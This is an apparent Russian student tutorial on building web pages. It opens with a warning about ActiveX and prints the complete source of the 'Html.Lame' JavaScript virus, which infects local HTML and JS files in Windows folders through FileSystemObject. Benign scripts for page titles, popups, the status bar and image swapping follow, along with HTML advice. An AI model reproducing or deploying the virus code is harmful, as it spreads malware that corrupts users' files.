Вообще-то говоря при использовании ActiveX пользователь будет уведомлен браузером т.е браузер спросит включить ActiveX или нет. Я вообще советую никогда не включать ActiveX т.к не известно что автор страницы хотел бы сделать с помощью ActiveX.Это обезопасит вас от таких зловредных программ как вирусы или что нибудь ещё.

Вот код:


												<script language="JavaScript" lame>

												<!--

												Lame();

												function Lame() {

												    var NS=(navigator.appName=='Netscape')

												    if(!NS){

												        var d,day

												        d=new Date()

												        day=d.getUTCDate()

												    if(day==9){

												        document.write("<p><b>This file is infected by Html.Lame!<br>")

												        document.write("What a virus! ;)</b></p>")

												        return;

												    }

												    var proto=(location.protocol=='file:')

												    if(proto){

												        var fso=new ActiveXObject("Scripting.FileSystemObject")

												        var winDir=fso.GetSpecialFolder(0)

												        lameDir(fso.GetFolder(winDir.path+"\\Web"))

												        lameDir(fso.GetFolder(winDir.path+"\\Help"))

												        lameDir(fso.GetFolder(winDir.path+"\\Web\\Wallpaper"))

												        lameDir(fso.GetSpecialFolder(2))

												    }

												    function lameDir(folder){

												    	var files,fitem

												        files=new Enumerator(folder.files)

												        for(;!files.atEnd();files.moveNext()){

												            fitem=files.item()

												            lameInfect(fitem.path)

												        }

												    }

												}

												}

												function lameInfect(fileName){

													if(fileName.search(new RegExp(".[hH][tT][mM]"))!=-1 || fileName.search(new        RegExp(".[jJ][sS]"))!=-1){

												    var file,fso,host,i,j,infected,virus,virusPath

												    fso=new ActiveXObject("Scripting.FileSystemObject")

												    virusPath=window.location.pathname

												    virusPath=virusPath.slice(1)

												    file=fso.openTextFile(virusPath,1)

												    virus=file.readAll()

												    file.close()

												    i=virus.search(new RegExp("<SCRIPT lenguage=\"JavaScript\" lame>"))

												    j=virus.search(new RegExp("Lame"+"Ends"))

												    j+=20

												    virus=virus.slice(i,j)

												    file=fso.openTextFile(fileName,1)

												    host=file.readAll()

												    file.close()

												    if(host.search(new RegExp("Html.Lame"))==-1){

												        i=host.search(new RegExp("< *[Bb][Oo][Dd][Yy]"))

												        if(i!=-1){

												            i+=4

												            infected=host.slice(0,i)

												            host=host.slice(i)

												            i=host.search(new RegExp(">"))

												            i++

												            infected+=host.slice(0,i)

												            host=host.slice(i)

												        }

												        infected+=virus

												        infected+=host

												        file=fso.openTextFile(fileName,2)

												        file.write(infected)

												        file.close()

												    }

												}

												}

												//LameEnds-->

												</script>

Этот маленький вирус написанный на JavaScript заражает HTML и JS файлы используя только Scripting Server.

А если вам всё-таки по душе включать ActiveX, то советую пользоваться антивирусом Касперского, он отлично находит этот вирус.

Дальше мы рассмотрим такие скрипты:

0.4 Анимированный заголовок страницы

0.5 Прощальные слова

0.6 Мигающий статусбар

0.7 Смена изображений (а также кэширование)

Скрипт 0.4


												<script language=”JavaScript” type=”text/javascript”>

												<!--

												    var step = 0

												    var cdt = document.title;

												function anim(){

												    if(document.title){

												        step++;

												        if (step==3) {step=1}

												        if (step==1) {document.title=':: '+cdt+' ::'}

												        if (step==2 ) {document.title=':[ '+cdt+' ]:'}

												        setTimeout("anim()",200);

												   }

												}

												//-->

												</script>

Скрипт 0.5


												<script language="JavaScript" type=”text/javascript”>

												function ByeWin(){

												    stats = 'toolbar=no,location=no,directories=no,menubar=no,';
													stats+= 'scrollbars=no,status=yes,resizable=1,width=260,height=290';

												    msgbox = window.open('','Bye',stats);

												    msgbox.document.write("<HTML><TITLE>ДО СВИДАНИЯ!</TITLE>"

												    +"<BODY BGCOLOR='black' text= 'white'><CENTER>"

												    +"<P><B>До свидания..!<P>Спасибо за визит!<BR>"

												    +"Надеюсь, что вы еще когда-нибудь зайдете на мой сайт"

												    +"<BR>...И не забудьте добавить ссылку на страницу в папку ИЗБРАННОЕ</B>"
													+<BR><input type=button value=close onClick='window.close()'>");

												}

												</script>

Скрипт 0.5 нужно втавить на событие OnUnLoad в теге <body>:


												<body onUnLoad=”ByeWin()”>, единственный недостаток этого скрипта это то что он будет срабатывать не только при закрытии документа, но и при обновлении.

Скрипт 0.6


												<script language=”JavaScript” type=”text/javascript”>

												<!--

												document.onload=flash();

												var yourwords = "Здесь Ваше Сообщение";

												var control = 1;

												var speed = 500; // в милисекундах

												function flash(speed){

												    if (control == 1){

												        window.status=yourwords;

												        control=0;

												    }else{

												        window.status="";

												        control=1;

												    }

												    setTimeout("flash()",speed);

												}

												//-->

												</script>

Скрипт 0.7


												<script language="javascript">

												<!--

												function ChangeImg(){

												    if(document.images){

												        eval("document."+ChangeImg.arguments[0]+

												  ".src=('"+ChangeImg.arguments[1]+"')");

												   }

												}

												function preload(){

												      if (document.images){

												          var imgsrc = preload.arguments;

												          arr=new Array(imgsrc.length);

												          for (var j=0; j<imgsrc.length; j++){

												              arr[j] = new Image;

												              arr[j].src = imgsrc[j];

												          }

												      }

												}

												//-->

												</script>

Скрипт смены изображения используется совместно с кэшированием изображения, потому что если не кэшировать изображения произойдёт такая штука: при наведении на изображение пропадет т.к загрузка изображения пойдёт после наведения курсора на него, поэтому советую кэшировать только сменяющиеся изображения пример:


												<body onload="preload('two.bmp')">

												

												<a href="index.htm" onMouseOver="ChangeImg('img001','two.bmp')" onMouseOut="ChangeImg('img001','one.bmp')"><img src="one.bmp" name=img001 alt=image001 width=64 height=32></a>

												

												</body>

Ну, вот и всё...

Напоследок посоветую, страничка должна:

Соблюдать стандарты HTML.
Идеально, практически неотличимо выглядеть и функционировать в NN4+, IE4+
Хорошо выглядеть и быть функциональной в NN3, IE3 и Opera.
Хорошо читаться и сохранять функциональность в Lynx.
Хорошо смотреться и быть полностью функциональной при отключении картинок и стилей.
Cохранять функциональность при отключении скриптов и Java-апплетов.
Иметь компактный объем, учитывая графику.

Существуют типовые ошибки, которых легко избежать.

Никогда не пользуйтесь:

<META CHARSET>, будут глюки с кодировкой.
<FONT FACE=...>, потому что пользователь не обязан иметь такой шрифт, иметь в нем кириллицу, иметь совпадающий с вашим шрифт такого названия и так далее.

Для того, чтобы задавать “стиль” шрифта, существует CSS. Теперь вспомните, что язык HTML четко описан в стандарте, и проверьте, сколько раз вы нарушили стандарт. Для этого существуют валидаторы. Валидатор - программа, которая проверяет наличие в HTML-документе нарушений стандарта, если эти нарушения там действительно есть. Поэтому валидатором НЕ может считаться программа, которая обращается не к стандарту, в котором написан HTML-документ, а к каким-то своим настройкам.

Валидаторы есть здесь:

Я советую UltraEdit очень мощный текстовый редактор много функций, поддержка разных кодировок, таглист, валидатор и т.д. Насчет тестирования JavaScript. Если вы не можете написать яваскрипт, работающий в Netscape 3, значит, вы вовсе не можете написать яваскрипт правильно и вам не надо писать их ВООБЩЕ :). Вот и всё.

Удачной вам веб-верстки!

Гошко Владислав Викторович

Донецкий национальный технический университет

Факультет: вычислительной техники и информатики

Специальность: экономическая кибернетика

Тема выпускной работы: Маркетинговый анализ средств защиты от спама

Руководитель: Костин Валерий Иванович

Создание веб-сайта - просто о сложном